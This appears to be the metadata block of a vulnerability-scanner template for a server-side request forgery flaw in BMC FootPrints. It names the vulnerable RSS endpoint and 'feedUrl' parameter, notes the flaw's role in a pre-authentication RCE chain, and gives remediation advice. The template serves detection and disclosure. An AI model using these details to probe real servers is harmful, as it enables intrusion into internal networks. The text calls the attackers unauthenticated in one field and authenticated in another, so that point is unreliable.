info:
  name: BMC FootPrints 'feedUrl' - Server-Side Request Forgery
  author: watchTowr,DhiyaneshDk
  severity: high
  description: |
    BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/externalfeed/RSS endpoint. The 'feedUrl' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).
  impact: |
    Authenticated attackers can make the server send arbitrary outbound requests, potentially interacting with internal services or causing denial of service.
  remediation: |
    Apply the hotfixes released by BMC on September 2, 2025 for all affected branches. Update to the latest patched version of BMC FootPrints.
